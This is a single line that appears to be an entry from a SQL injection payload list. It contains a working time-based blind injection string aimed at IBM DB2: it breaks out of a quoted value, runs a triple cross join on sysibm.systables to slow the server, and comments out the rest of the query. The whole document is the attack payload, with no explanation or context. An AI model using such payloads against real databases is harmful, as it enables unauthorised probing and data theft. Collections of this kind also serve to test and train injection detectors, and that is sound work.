aaavvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv1'+ ( select jxgx where 7446 = 7446 and 8189 =  ( select count ( * )  from sysibm.systables as t1,sysibm.systables as t2,sysibm.systables as t3 ) --